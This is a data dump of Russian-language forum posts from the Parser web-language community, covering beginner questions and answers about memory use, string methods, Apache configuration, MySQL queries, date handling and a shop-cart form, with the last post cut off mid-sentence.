"41798","Смутные чувства... Тоесть имеется ввиду, что при обработке кода остается память, которая может быть освобождена...\
\
Ну я для надежности добавил:\
[code]\
^if(!(^t.line[] % 100)){^memory:compact[]}\
[/code]\
\
:))\
\
Но понял нечетко..."
"41799","Это я опять напутал :))\
Прошу прощения. Просто выкидываю лишнее, чтоб только кусок кода по сути. Ну ясное дело нет. $t[^table::load[$ff.aprove]]"
"41800","[quot]\
каталог 17000 строк\
[/quot]\
и\
[quot]\
файлик маааленький\
[/quot]\
\
это как-то не стыкуется друг с другом. думаю вы выбрали неверный путь для решения вашей задачи, скорее всего парсер тут не подойдет.\
даже если вы добьетесь, чтобы данный код на этих данных заработает, скорее всего вы скоро упретесь в ограничения парсера по количеству итераций (endless loops).\
\
как показывает мой опыт, лучший способ загрузки большого объема данный в БД - подготовка текстового файла в специальном формате и загрузка его в таблицу средствами SQL (см. load data infile в документации по MySQL). сама загрузка происходит _на_полтора_порядка_ быстрее чем пачка insert (даже групповых).\
\
есть ещё что можно пооптимизировать в вашем цикле, но см. выше, это дорога в тупик.\
\
[quot]\
действительно можно 17000 значений через запятую перечислить в sql-запросе\
[/quot]\
\
у MySQL кажется можно (сверьтесь с его документацией). у меня на нескольких тысячах это нормально работает. десятки тысяч я не проверял. у оракла ограничение 1000.\
\
[quot]\
и это будет работать лучше чем через меню?\
[/quot]\
\
я уверен, что да (почитайте про DELETE в документации по mysql)\
\
[quot]\
А если 50 000, 100 000 ?\
[/quot]\
\
думаю и в этом случае не надо делать удаление по одной записи в menu. в подобном случае надо подготовить данные, и удалять например в одном запросе по 1000 записей. sql запросов будет меньше. работать это будет быстрее.\
\
[quot]\
2. ^memory.compact[] очищает память от неиспользуемых переменных. Тогда почему нужно его ставить внутри цикла ^t.menu{}, если там все переменные используются, и освобождать память не от чего ?\
[/quot]\
\
там есть неявные переменные. т.е. подготовился текст sql запроса, выполнился запрос. этот текст больше не нужен. но память он занимает. есть переводы строк в вашем menu. это 17тыс на 2 байта (возможно больше) + сколько - то байтов на язык (taint). парсер тоже это запоминает, и compact-ом это не лечится.\
\
[quot]\
^if($ff.[s^tc.line[]] ne none){...}\
[/quot]\
\
можно убрать, если вначале сделать $tc[^tc.select($ff.[s^tc.line[]] ne none)] и не придется в каждой из 17000 строк делать эти проверки (т.е. минус 17000 * количество строк в $tc проверок)"
"41801","если мне не изменяет память, то в ANSI SQL92 тексты надо брать в ' а не в \".\
\
некоторые SQL сервера позволяют делать подобные вольности, но мне кажется что лучше соблюдать стандарты..."
"41805","При изменении размера огромных файлов через images.p в файле получается 599 dpi. Для картинки 50x50 это многовато, и получается, что вместо размера 2-5 КБ, она весит 20 КБ."
"41806","их вообще не нужно писать, если имя объекта ne идентификатор.\
\
в разных серверах по разному обходят эту проблему. лучше всего — не доводить ситуацию до проблемы, когда колонка называется count и пр."
"41807","А как можно в структуре\
[code]\
<root>\
  <name>Aaaa</name>\
  <body>\
   ....\
  </body>\
</root>\
[/code]\
\
в элемент <body> добавить html-теги, чтобы они не преобразовывались в свои сущности? \
<![CDATA[ ]]/> не прошел..."
"41809","Забивайте гвозди микроскопом дальше..."
"41812","Пытаюсь обрезать слэши на концах, но получаю ошибку (сабж). Не пойму, почему.\
\
[code]\
	^if(^uri.left(1) eq \"/\"){\
		$uri[^uri.right(^uri.lenght[] - 1)]\
	}{\
		^if(^uri.right(1) eq \"/\"){\
			$uri[^uri.left(^uri.length[] - 1)]\
		}\
	}\
[/code]"
"41813","http://www.parser.ru/docs/lang/optry.htm\
\
сейчас есть — «$exception.comment комментарий к ошибке, по английски».\
должно быть — «$exception.comment комментарий к ошибке, по– английски»"
"41814","Ваш код выдает эту ошибку:\
[code]string method not found — [b]lenght[/b][/code]\
\
А вообще специально для таких задач был придуман метод trim. Почитайте, там пример как раз по вашу душу."
"41815","Подскажите, о искушеннейшие в деле парсинга: какие есть альтернативы Perl и RegExp, чтобы парсить различный текст, например выдирать статьи или телепрограмму из Html страничек? \
Основные требования: очень простой, как в изучении, так и в понимании написанного алгоритма, но достаточно мощный, чтобы к примеру распарсить телепрограмму на дни недели, передачи или переформатировать по-другому. Нужно для всяких интересных утилит, чтобы не нужно было перекомпилировать программу и изменять в ней довольно сложный алгоритм, когда например формат той же программы или вебстраничка чуть изменятся. Тут бы можно было задействовать \"подключаемые\" алгоритмы к такому внешнему парсеру... Очень надо, помогите."
"41816","... Поэтому я и пишу, чтобы не нужно было редактировать изображения через Photoshop. Можно ли сделать это через images.p?"
"41817","Разрешение картинки (я говорю о dpi) ни коим образом не влияет на размер изображения в пикселях. Оно говорит только о том сколько точек при печати разместить в единицу длинны (в данном случае дюйм).\
\
Теперь к images.p\
При изменении размера картинки количество dpi не меняется. Если в исходнике стояло 300dpi на выходе тоже будет 300dpi.\
\
Пример:\
Исходное изображение: 300х300px разрешение 300dpi\
Конечное изображение: 100х100px разрешение 300dpi\
\
При печати в первом случае будет картинка 25.4х25.4мм, а во втором 8.5х8.5мм. Если во втором случае поменять количество точек на дюйм к примеру на 100 то картинка будет так же 25.4х25.4мм но качество значительно хуже.\
\
Чтобы проверить это возьмите урезанную через images.p картинку. Зайдите в photoshop /image/image size/ уберите галочку resample image и поставьте любое значение dpi. Пересохраните файл с компрессией 100%. \
\
Получите файл одинакового размера что и исходный (или чуть-чуть меньший +/- несколько байт, т.к. компрессия проводилась повторно).\
\
P.S. Вот такая теория. Если что-то ещё непонятно, в почту."
"41819","Если в строке вместо буквы присутствуют его шестнадцатиричное представления то метод length не считает за один символ. Может было бы логичнее, чтобы он их правильно распознавал как один символ?"
"41820","[code]$str[tr[b]^#20[/b]3]\
^str.length[][/code]\
Результат - 4"
"41821","Но считает как то странно, не правда ли? Должно быть 3."
"41823","Есть textarea, есть скрипт JS+DOM, который выводит содержимое textarea в реальном времени.\
\
Обычно, перенос строк я делал через replace, но здесь содержимое выводится напрямую.\
\
Подскажите, как можно сделать перенос строк?"
"41824","Можно указать пользователю, что для отбображения переносов, следует пользоваться <br>..\
Но это не самый лучший выход."
"41825","Я тут пытаюсь написать класс для работы с почтой.\
Извлекаю строку Subject: -> ...match[(^^Subject^:\\.+^$)]['m]] ... и.т.д.\
Там, естественно строка вида:\
=?koi8-r?B?98HbINrB0NLP0yDOwSDSxcfJ09TSwcPJwCDXINPJ09TFzcUgKPDF0g==?=\
Когда делаю ...split[=?] и вывожу поле \"1\" (то что после найденной подстроки) то получаю то что и должно быть:\
koi8-r?B?98HbINrB0NLP0yDOwSDSxcfJ09TSwcPJwCDXINPJ09TFzcUgKPDF0g==?=\
а вот ...split[=?koi8-r] или ...split[=?koi8-r?] и.т.д. - вообще ничего!\
Ставил \"\\\" перед \"?\" думал, как регэкспах нужно экранировать. \
А вот если последовательно - сперва отделил \"=?\", потом \"koi8-r?\", потом \"B?\" то получается"
"41828","Напишите код, в котором было бы видно, что в исходной строке, как применяете split, как выводите результат и что в результате получается и что не устраивает. Типа:\
[code]\
$str[строка]\
$parts[^str.split[ро;h]][/code]\
$parts.0 возвращает:\
ст\
\
Может быть пока будете писать и самостоятельно разберетесь ;-)"
"41830","я использовал метод HTML, а можно использовать Text, тогда переносы сохраняются и в тексте"
"41831","Можно ли как то обойти? У меня на хостинге нельзя поменять auto.p. И любой запрос о несуществующей странице вызывает некрасивое [b]Unhandled exeption[/b]"
"41832","Последний вопрос на странице.\
\
Что мешает не в конфигурационном файле изменить этот метод, а перекрыть его в своем корневом auto.p?.."
"41833","^^IP адрес вас как разработчика\
\
Это что такое?"
"41835","Если вы зайдете с этого IP, тогда будет выполнен метод unhandled_exception_[b]debug[/b]"
"41836","Осталось только свой IP узнать..."
"41837","http://www.yandex.ru/yandsearch?rpt=rad&text=%E2%E0%F8+ip\
(Третья строчка)"
"41838","Да не в том дело, что не могу найти...\
\
А вот если ничего не оставить в скобках, то появляется нечто невразумительное... так, к слову...\
\
exception in request exception handler: native method of string (string) accepts minimum 1 parameter(s) (0 present)\
\
Понятно, конечно... localhost тоже можно? Попробую дома. Спасибо всем, кто откликнулся."
"41839","К предыдущему сообщению вопрос возник. На хостинге стоит панель управления, которая позволяет изменять страницы ошибок. Которые имеют расширение .shtml.\
\
Есть ли возможность изменить или перенаправить процесс обработки ошибок на 404.html?\
\
Можно ли поменять в .htaccess , скажем\
AddHandler parsed-html html\
на\
AddHandler parsed-html html shtml ?"
"41842","Страх больше чем лень..."
"41844","Проявите хоть малейшее участие в решении [i]своего[/i] вопроса. Ведь кроме возможности проверить есть еще документация ;)\
\
http://httpd.apache.org/docs/ (строка поиска сразу заметна в верхней части страницы)\
\
ПостСкриптум\
Ссылка взята из «[url=\"http://www.parser.ru/links/\"]Полезных ссылок[/url]»"
"41845","Не видел я что вы так быстро отвечаете, а птому попробовал сам. Всё работает и с этим разрешением.\
\
Кроме того, что не работают всякие серверные примочки теперь... вроде \
\
<!--#echo var=\"REMOTE_ADDR\" -->\
<!--#echo var=\"HTTP_REFERER\" -->\
<!--#echo var=\"REQUEST_URI\" -->\
<!--#echo var=\"REDIRECT_STATUS\" -->\
\
и другие..."
"41846","Раньше файлы с рашринением shtml обрабатывались как SSI, а теперь как Parser."
"41847","Добрые все!.."
"41848","Кто-нибудь подскажет, как вызвать ошибку 400 (Неверный запрос)?"
"41849","Apache 1.3.33.\
Парсер как cgi.\
#------.htaccess_begin\
SetEnv QQQ wegotit\
PassEnv\
#------.htaccess_end\
\
[!--test.html_begin--]\
$env:QQQ\
[!--/test.html_end--]\
\
Значит результат пустой.\
\
Но если директивы из .htaccess перенести\
в главный конфиг сервера, то все работает.\
Естественно включен AllowOverride all.\
В php все работает независимо от того где установлена переменная."
"41851","и попробуйте \
[code]\
$env:REDIRECT_QQQ\
[/code]"
"41852","Не подскажите, как бороться с этой ошибкой?\
out of memory: failed to allocate 12 bytes. heap_used=31797248, heap_free=0, bytes_since_gc=31745168, total_bytes=31745168\
\
[b]Проверил musage[/b]\
[2005-06-21 23:17:02] 127.0.0.1: before XXX 292 56 200.449 200.449 /about/ \
[2005-06-21 23:17:02] 127.0.0.1: after XXX 292 56 202.949 202.949 /about/ \
\
Это как, много или мало?"
"41853","Есть 2 пути\
1 Убедить хостера в том что он даёт мало памяти под процес и попроить  его увеличить ограничение до требуемого.\
\
2 Оптимизировать код\
\
зы: Как правило второго пункта достаточно"
"41854","Но почему не работает этот код?"
"41855","Вы когда пишите \"не работает\" - уточняйте:\
не работает - не отсекает слеш с конца, [i]если есть слеш в начале[/i].\
\
Тогда вам станет ясно, почему."
"41857","А что обозначают вот эти цифры:\
failed to allocate 12 bytes. heap_used=31797248, heap_free=0, bytes_since_gc=31745168, total_bytes=31745168\
\
Что значит 12 bytes и другие цифры?"
"41858","что даёт поиск по документации слова \"gc\"?"
"41865","Как сделать отправку почты нескольким адресатам?\
В документации не слово об этом не говориться...\
\
Возможно ли так?\
[code]\
^mail:send[\
      $.from[Вася <vasya@hotmail.ru>]\
      $.to[Петя <petya@hotmail.ru>]\
      $.to2[Леша <lesha@hotmail.ru>]\
      $.subject[как дела]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
[/code]\
или так?\
[code]\
^mail:send[\
      $.from[Вася <vasya@hotmail.ru>]\
      $.to[Петя <petya@hotmail.ru>, Леша <lesha@hotmail.ru>]\
      $.subject[как дела]\
      $.text[Как у тебя дела? У меня - изумительно!]\
]\
[/code]"
"41871","OK.\
\
Не отсекает слеш в первом случае, так как выдаёт ошибку.\
Ошибка следующая — «string method not found — lenght».\
\
Может так поможет."
"41875","Перед тире может оказаться запятая. Это возможно, если перед местом постановки тире находится обособленный член предложения или придаточное предложение. В этом случая пишущий ставит два не связанных между собой знака: запятую, закрывающую один оборот, и тире, стоящее между подлежащим и сказуемым."
"41879","Проверял потребляемые ресурсы с помощью диспетчера задач. Могу ли я рассчитывать на такие затраты on-line? Или же они разительно отличаются?\
Если нет, то выделение 17 MB памяти для выборки данных (MySQL) из дерева в 400 строк много или мало?"
"41880","У меня дерево из ~3000 сообщений порядка 500Мб отедало (ошибка в коде была)"
"41881","А после правки кода, сколько тратилось?"
"41889","Как записать в переменную парсера переменную JS?"
"41903","Страница с одним тредом около 5MB\
Страница с 30 тредами около 10MB"
"41906","Согласно документации конструкция:\
[code]\
$date_now[^date::now[]]  \
\
$date_now.year #- выдаст текущий год\
\
$date_now.week #А вот такой конструкции не существует\
[/code]\
\
Так как получить номер текущей недели?"
"41916","[code]\
$date_now[^date::now[]]  \
$calendar_month[^date:calendar[rus]($date_now.year;$date_now.month)] \
\
^if(^calendar_month.locate[$date_now.weekday;$date_now.day]){\
$calendar_month.week\
}\
[/code]\
\
Почему-то не работает :("
"41917","[code]\
(gdb) bt\
#0  0x281440bf in _thread_kern_sched () from /usr/lib/libc_r.so.4\
#1  0x281448f9 in _thread_kern_sched_state_unlock () from /usr/lib/libc_r.so.4\
#2  0x28143098 in pthread_mutex_lock () from /usr/lib/libc_r.so.4\
#3  0x280913f1 in SYNCEnterCriticalSection (lpCriticalSection=0x285309e4, internal=0) at ../critsect.c:166\
#4  0x28091378 in EnterCriticalSection (lpCriticalSection=0x285309e4) at ../critsect.c:86\
#5  0x2836b5ee in CrstBase::Enter (this=0x285309e4) at /home/paf/attempt3/../common.h:183\
#6  0x283bc47f in MakeJitWorker (pMD=0x2cc83a30, ILHeader=0xb33ff34, fIntercepted=0, fGenerateUpdateableStub=0,\
    pDispatchingMT=0x2cc83f24, pThrowable=0xb33ff30) at /home/paf/attempt3/../threads.h:960\
#7  0x283bdb3d in MethodDesc::DoPrestub (this=0x2cc83a30, pDispatchingMT=0x2cc83f24)\
    at /home/paf/attempt3/../prestub.cpp:754\
#8  0x283bd659 in PreStubWorker (pPFrame=0xb33ffb4) at /home/paf/attempt3/../prestub.cpp:548\
#9  0x9473217 in ?? ()\
#10 0x283a1be1 in MethodDesc::CallDescr (this=0x28677080, pTarget=0x2cc83a2b \"иёч~Ь?л\\001А\\003\", pModule=0x94823f8,\
    pMetaSigOrig=0xb340248, fIsStatic=0, pArguments=0xb340358)\
    at /home/paf/attempt3/../method.cpp:738\
#11 0x283a18eb in MethodDesc::CallDescr (this=0x28677080, pTarget=0x2cc83a2b \"иёч~Ь?л\\001А\\003\", pModule=0x94823f8,\
    pSig=0x28a0cc62 \" \", fIsStatic=0, pArguments=0xb340358)\
    at /home/paf/attempt3/../method.cpp:597\
#12 0x283a16e5 in MethodDesc::Call (this=0x28677080, pArguments=0xb340358)\
    at /home/paf/attempt3/../method.cpp:530\
#13 0x283004ad in MethodTable::CallFinalizer (obj=0x9473b48)\
    at /home/paf/attempt3/../class.cpp:8554\
#14 0x284083c2 in CallFinalizer (obj=0x9473b48) at /home/paf/attempt3/../gcsmp.cpp:216\
#15 0x28408406 in CallFinalizer_wrapper (obj_header=0x9473b40)\
    at /home/paf/attempt3/../gcsmp.cpp:231\
#16 0x280df18a in finalizeObjectWrapperKGC_ALLOC_USER2 (collector=0x280e5d08, ob=0x9473b40) at igc.cpp:103\
#17 0x280d9d27 in finaliserJob (gcif=0x280e5d08) at gc-incremental.c:835\
#18 0x280d9ef5 in finaliserMan (arg=0x280e5d08) at gc-incremental.c:869\
#19 0x280d9c3c in startFinalizer (gcif=0x280e5d08) at gc-incremental.c:789\
#20 0x280d95c1 in gcMan (arg=0x280e5d08) at gc-incremental.c:579\
#21 0x280d9f47 in gcInvokeGC (gcif=0x280e5d08, mustgc=1) at gc-incremental.c:896\
#22 0x280df546 in GCHeapGarbageCollect () at igc.cpp:178\
#23 0x28408321 in GCHeap::GarbageCollect (generation=-1, collect_classes_p=0)\
...\
[/code]"
"41918","Естественно в варианте, когда календарь строится в eng-формате, поскольку у date.weekday 0==воскресенье.\
\
[code]\
$date_now[^date::now[]]  \
$calendar_month[^date:calendar[eng]($date_now.year;$date_now.month)] \
\
^if(^calendar_month.locate[$date_now.weekday;$date_now.day]){\
$calendar_month.week\
}\
[/code]"
"41920","Из БД на страницу я вывожу все заголовки новостей с датами. Не подскажите, как формировать список новостей, таким образом, чтобы перед блоком новостей относящихся к определенному месяцу выводилось название этого месяца?\
\
Заранее благодарю."
"41921","установил права на parser 755 в корнвую добавил .htaccess вылезает ошибка 500 где распологается httpd.conf чтобы установить там fileinfo?? или дело в другом??"
"41922","Надо выбрать из БД строку, в зависимости от URI\
\
[code]\
\
^connect[$connect_string]{\
$tab_c[^table::sql{\
	SELECT id, name, url, text\
	FROM $conn\
	WHERE sid = '$tab_b.id'\
}]\
}\
\
^tab.menu{\
	^if($uri eq $tab_a/$tab_b/$tab_c.url){\
		$tab_c.text\
	}\
}\
\
[/code]\
\
\
При большом кол-ве строк применение ^menu нецелесообразно. Как еще можно выбрать нужную строку, затратив меньше ресурсов?"
"41926","500 ошибка - это ошибка в коде. Parser работает. Смотрите Log файл в директории cgi-bin"
"41929","Не факт, что Parser работает. 500 ошибка — всего лишь внутренняя ошибка сервера (т.е. произошедшая на стороне сервера). Код может быть вполне работоспособен.\
\
см. http://www.w3.org/Protocols/HTTP/1.1/spec.html#Code500"
"41930","Да, ошибся :)\
Обычно когда парсер не работает выводится Initial server error, а если ошбка в коде - Unhandled ..."
"41933","Не помню, поднимался ли вопрос в форуме, может быть и поднимался, но я не нашел.\
\
Можно ли каким-либо образом выполнить произвольный метод из произвольного же файла и присвоить результат переменной. Файл — не является классом. Иначе бы даже вопроса не возникло.\
\
Варианты:\
1. Все таки переоформить файл в класс.\
2. Вызывать файл с параметром (?do=1) и в самом файле в @auto[] добавить обработку этой переменной (вызывать нужный мне метод). Плохой варинт.\
3. Исхитриться с ^process?.."
"41934","4. Использовать как Мишин [url=\"http://www.parser.ru/examples/lib/\"]lib.p[/url]"
"41936","[code]\
<input type=\"image\" name=\"tovar\"  value=\"$tovar.tovar\" src=\"basket.gif\">\
[/code]\
этот инпут не работает не передает значение $tovar.tovar при обращении страница просто перезагружается и в базу данных ничего не попадает как его заставить это делать\
с submit ом никаких проблем\
[code]\
<input type=\"submit\" name=\"tovar\"  value=\"$tovar.tovar\">\
[/code]"
"41937","Не надо ничего передавать сабмитом. Сделайте дополнительно input type=\"text\" или type=\"hidden\" (вам нужно, как я понимаю именно hidden) и посылайте просто:\
[code]<input type=\"image\" src=\"basket.gif\">[/code]\
или\
[code]<input type=\"submit\" value=\"Добавить\">[/code]"
"41938","Но в таком случае если у меня в файле, из которого я вызываю дополнительный файл уже есть метод с тем же именем, что и в дополнительном файле... Проще: если совпадают названия методов, значит они перекроются. А этого не должно быть.\
\
На самом деле модули я пытаюсь подключить :) Вот как решил сделать:\
\
Не вызывать каждый раз метод @install[] из загруженного файла, а просто вынести его в отдельный файл install.p :)\
\
Теперь у меня другой вопрос. Сейчас в отдельный тред вынесу для ясности. [http://www.parser.ru/forum/?id=41939]"
"41939","При загрузке модуля, я смотрю какие к нему прилагаются классы и записываю информацию о модулях и классах в табличку:\
\
[code]\
^rem{ *** Устанавливаем классы *** }\
^module_info.classes.menu{\
	^MAIN:pSQL.void{\
		INSERT INTO\
			engine_classes (\
				class_name,\
				module_id\
			)\
		VALUES (\
			'$module_info.classes.name',\
			^MAIN:pSQL.last_insert_id[engine_modules]\
		)\
	}\
}\
^dir_copy[$temp.dir/classes/;/classes/;$.is_recursive(1)]\
[/code]\
\
При удалении надо проверять, используются ли классы удаляемого модуля другими модулями, и если нет, то удалить их. И здесь я запутался :(\
\
[code]\
@uninstallModule[module_id][classes]\
$module_id(^module_id.int(0))\
^if($module_id){\
	^rem{ *** Удаляем информацию о модуле из базы данных *** }\
	^MAIN:pSQL.table{\
		DELETE FROM\
			engine_modules\
		WHERE\
			module_id = $module_id\
	}\
\
	^rem{ *** Смотрим: какие классы использовал модуль... *** }\
	$classes[^MAIN:pSQL.table{\
		SELECT\
			module_id,\
			class_name\
		FROM\
			engine_classes\
	}]\
	$classes[\
		^rem{ *** Хэш всех классов всех модулей *** }\
		$.names[^classes.hash[class_name]]\
		^rem{ *** Таблица классов удаляемого модуля *** }\
		$.module[^classes.select($classes.module_id==$module_id)]\
		^rem{ *** Пустой таблица. Сюда будем добавлять имя класса, подлежащего удалению *** }\
		$.delete[^table::create{class_name}]\
	]\
	^classes.module.menu{\
		^if(\
			$classes.names.[$classes.module.class_name].count[] == 1\
			&& $classes.names.[$classes.module.class_name].module_id == $module_id\
		){\
			^classes.delete.append{$classes.module.class_name}\
		}\
	}\
	^classes.delete.menu{\
		^file:delete[/classes/$classes.delete.class_name]\
	}\
	^MAIN:pSQL.void{\
		DELETE FROM\
			engine_classes\
		WHERE\
			class_name IN (^classes.delete.menu{$classes.delete.class_name}[,])\
	}\
}\
# end @uninstallModule[]\
[/code]"
"41942","1. ^MAIN:pSQL.last_insert_id[engine_modules] внутри menu не хорошая идея (если конечно перед указаным insert-ом нет insert-а в таблицу engine_modules). \
\
2. по поводу самого удаления я мало что понял из кода: в нем есть ошибки. такая конструкция не может работать в принципе: $classes.names.[$classes.module.class_name].count[] ). но удалить записи из таблицы engine_classes по моему можно проще: в документации по MySQL есть даже пример подобного запроса: найти записи в таблице А на которые нет записей в таблице Б (читать про LEFT JOIN). соотв. один delete, один select с left join, еще один delete если нужно и menu с удалением файликов."
"41944","Как передаются параметры в методы, по ссылке или по значению? Когда и как интерпретатор делает вывод?"
"41945","Новость считываю из БД и заношу в форму. Это нужно для админки с визуальным редактором, который написан на js\
\
<body onload=\"showbody()\">\
\
\
<script language=\"javascript\">\
\
function showbody(){\
	var news_body = '^taint[js][$menuset.body]';\
	Edit.NMH.value = news_body;\
	frames.message.document.body.innerHTML = Edit.NMH.value;\
}\
\
document.write('<div id=\"Frm\"><iframe src=\"/admin/MouseDHTML/src.html\" id=\"message\" width=\"700\" height=\"400\"></iframe></div><textarea id=\"NMH\" name=\"mytext\" style=\"width:700px;height=398px;display:none\"></textarea>');\
\
</script> \
\
беру спиоск новостей, где-то работает, а где-то нет. Почему так получается?"
"41946","http://www.parser.ru/forum/?id=34550\
http://www.parser.ru/forum/?id=35860\
\
хотя насчет целых и вещественных чисел не уверен - они могут быть реализованы как размерные (по аналогии с .NET Framework) и передаваться всегда по значению, соответственно работа с ними идет только на стеке."
"41948","[code]\
<input type=\"hidden\" name=\"prov\" value=\"$tovar.tovar\">\
<input type=\"image\"  src=\"basket.gif\">\
\
^if(def $form:prov){\
^void:sql{insert into shop (tovar, kolichestvo, user_id, ifo, org, adress, telefon, itogo, vsego) values ('$form:prov', '1', '$user_id', '', '', '', '', 'итого', 'всего')}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
[/code]\
все время первая запись поподает..."
"41949","Действительно, почему так получается? В чем разница между теми записями, с которыми работает и теми, с которыми не работает?\
\
Попробуйте выводить не в переменную js, а сразу на экран для наглядности. Эта строчка верная (очевидно ошибка где-то в другом месте):\
\
[code]\
var news_body = '^taint[js][$menuset.body]'^;\
[/code]\
\
ПостСкриптум\
Не забыавайте экранировать точку с запятой: [b]^;[/b]"
"41953","Пока сделал с хэшами, работает. [color=\"999999\"](Что удивительно :))[/color]\
\
[code]\
@uninstallModule[module_id][classes]\
$module_id(^module_id.int(0))\
^if($module_id){\
	$classes[^hash::create[]]\
	^rem{ *** Удаляем информацию о модуле из базы данных *** }\
	^MAIN:pSQL.void{\
		DELETE FROM\
			engine_modules\
		WHERE\
			module_id = $module_id\
	}\
\
	^rem{ *** Смотрим: какие классы использовал модуль... *** }\
	$classes.all[^MAIN:pSQL.table{\
		SELECT\
			module_id,\
			class_name\
		FROM\
			engine_classes\
	}]\
	$classes[\
		^rem{ *** Хэши всех классов всех модулей (ключи: class_name/module_id)*** }\
		$.names[^classes.all.hash[class_name][$.distinct[tables]]]\
		$.ids[^classes.all.hash[module_id][$.distinct[tables]]]\
		^rem{ *** Пустой таблица. Сюда будем добавлять имя класса, подлежащего удалению *** }\
		$.delete[^table::create[$classes.all;$.limit(0)]]\
	]\
	^classes.ids.[$module_id].menu{\
		^if(\
			^classes.names.[$classes.ids.[$module_id].class_name].count[] == 1\
			&&\
			$classes.names.[$classes.ids.[$module_id].class_name].module_id == $module_id\
		){\
			^classes.delete.append{$module_id	$classes.ids.[$module_id].class_name}\
		}\
	}\
\
	^rem{ *** Удаляем ни кем не используемые классы *** }\
	^classes.delete.menu{\
		^file:delete[/classes/$classes.delete.class_name]\
	}\
\
	^rem{ *** Удаляем всю информацию об этих же классах из базы *** }\
	^MAIN:pSQL.void{\
		DELETE FROM\
			engine_classes\
		WHERE\
			class_name IN (^classes.delete.menu{$classes.delete.class_name}[,])\
	}\
\
	^rem{ *** Все, удаление успешно завершено *** }\
	$result(1)\
}{\
	^rem{ *** Не был передан id модуля (или было передано не число) *** }\
	$result(0)\
}\
# end @uninstallModule[]\
[/code]\
\
Пробовал написать один запрос к базе с LEFT JOIN, и дальше, так же, в menu по выбранным записям удалить неиспользуемые файлы классов и сами выбранные строки из базы. Но запутался еще больше :(\
\
Прошу помощи в написании этого запроса.\
\
Таблица, примерно следующего содержания:\
\
[code]\
+-----------+------------+\
| module_id | class_name |\
+-----------+------------+\
| 1         | lib.p      |\
| 1         | dtf.p      |\
| 2         | lib.p      |\
| 3         | lib.p      |\
| 3         | dtf.p      |\
| 3         | scroller.p |\
+-----------+------------+\
[/code]\
\
Из нее нужно выбрать только те записи, которые есть у заданного модуля, но которые больше ни где не дублируются. Т.е. если $module_id(3), значит в выборку должна попасть только последняя запись (scroller.p)\
\
Вот ниже то, что я написал и дальше у меня наступил полнейший ступор :(\
\
[code]\
$module_id(3)\
$classes.delete[^MAIN:pSQL.table{\
	SELECT\
		engine_classes_2.module_id,\
		engine_classes_2.class_name\
	FROM\
		engine_classes AS engine_classes_2\
		^MAIN:pSQL.left_join[FROM;engine_classes]{\
			engine_classes.class_name = engine_classes_2.class_name\
		}\
	WHERE\
		engine_classes_2.module_id = $module_id\
}]\
[/code]\
\
ПостСкриптум\
На счет last_insert_id в menu — конечно этому предшествует добавление в эту даблицу :), но я все равно исправил следующим образом:\
\
[code]\
...\
^rem{ *** Добавляем информацию о модуле в базу данных *** }\
^MAIN:pSQL.void{\
	INSERT INTO\
		engine_modules (\
			name,\
			title,\
			description\
		)\
	VALUES (\
		'$module_info.name',\
		'$module_info.title',\
		'$module_info.description'\
	)\
}\
$module_info.module_id(^MAIN:pSQL.last_insert_id[engine_modules])\
\
^rem{ *** Устанавливаем классы *** }\
^module_info.classes.menu{\
	^MAIN:pSQL.void{\
		INSERT INTO\
			engine_classes (\
				class_name,\
				module_id\
			)\
		VALUES (\
			'$module_info.classes.name',\
			$module_info.module_id\
		)\
	}\
}\
...\
[/code]"
"41954","[code]^if($form:good_id){\
   ^void:sql{INSERT .... VALUES($form:good_id,....) ...}\
}{\
   $goods[^table::sql{SELECT id,name,info ...}]\
   ^goods.menu{\
      <h3>$goods.name</h3>\
      <p>$goods.info</p>\
         <form ...>\
            <input type=\"hidden\" name=\"good_id\" value=\"$goods.id\">\
            <input type=\"image\" src=\"basket.gif\">\
         </form>\
   }[<hr>]\
}[/code]\
\
Я даже не проверял. Что тут должно не работать? Опять из серии [url=\"http://www.parser.ru/forum/?id=41935\"]разобрался оказытся не в бинарном режиме закачивал...[/url]?"
"41955","В английском, насколько я помню, слово товары (goods) не имеет единственного числа."
"41958","[url=\"http://lingvo.yandex.ru/en?search_type=lingvo&st_translate=1&text=good\"]Перевод слова good[/url]\
[url=\"http://lingvo.yandex.ru/en?text=goods&st_translate=1&lang=en&search_type=lingvo\"]Перевод слова goods[/url]"
"41959","Вот мой код при нажатии на кнопку в корзину добовляется только первый товар... я не знаю как у Вас это работает но у меня ниче не получается... \
\
[code]\
<form method=\"post\">\
<table width=50% align=center>\
   <tr>\
     <td>\
^tovar.menu{<strong>$tovar.tovar</strong><br> \
$photo[^image::measure[/shop/image/${tovar.file}.jpg]] \
^photo.html[ \
   $.border[0] \
   $.alt[$tovar.tovar] \
] \
\
\
\
\
Цена:$tovar.cena рублей\
<input type=\"hidden\" name=\"prov\" value=\"$tovar.tovar\">\
<input type=\"image\"  src=\"basket.gif\">}[<br><br>]<br><br>\
\
     </td>\
   </tr>\
</table>\
</form>\
^if(def $form:prov){\
^void:sql{insert into shop (tovar, kolichestvo, user_id, ifo, org, adress, telefon, itogo, vsego) values ('$form:prov', '1', '$user_id', '', '', '', '', 'итого', 'всего')}\
$response:location[http://${env:SERVER_NAME}$request:uri]\
}\
\
\
$shop[^table::sql{select * from shop}]\
$price_list_hash[^tovar.hash[tovar]]\
^shop.menu{$price_list[$price_list_hash.[$shop.tovar].cena]\
^if($price_list){  \
$itogo($price_list * $shop.kolichestvo) }}[<br><br>]\
\
^if(def $itogo){\
^void:sql{update shop set itogo = '$itogo' where tovar = '$form:prov'}\
^void:sql{update shop set vsego = '$itogo' where tovar = '$form:prov'}\
}\
[/code]"
"41960","Потому что у вас форма одна на все товары, а у меня на каждый товар - своя."
"41961","Мне и вправду на это указывали а я не обратил внимание... Огромное спасибо что уделили мне время!"
"41962","да уж... я до этого понял задачу немного не так. тогда я понял так: вы удаляете неиспрользуемую больш запись из engine_modules, а [b]потом[/b] ищите записи в таблице engine_classes которые не привязаны ни к одному модулю, и их соотв. удаляете.\
\
а при таком подходе и join-ов не надо...\
[code]\
SELECT\
	module_id,\
	class_name,\
	COUNT(module_id) AS cnt\
FROM\
	engine_classes\
GROUP BY\
	module_id\
HAVING\
	cnt = 1\
[/code]\
\
этот запрос тяжелый, но насколько я понял речь идет об административном интерфейсе, т.е. это не критично.\
\
по поводу last_insert_id: вообще-то у вас insert [b]до[/b] menu, соотв. конструкция работать не должна была на второй и далее итерации menu."
"41963","Программирую на парсере недавно,\
Наверное, поэтому и задаю такой вопрос.\
Но сколько сам ни разбирался, пока не могу понять:\
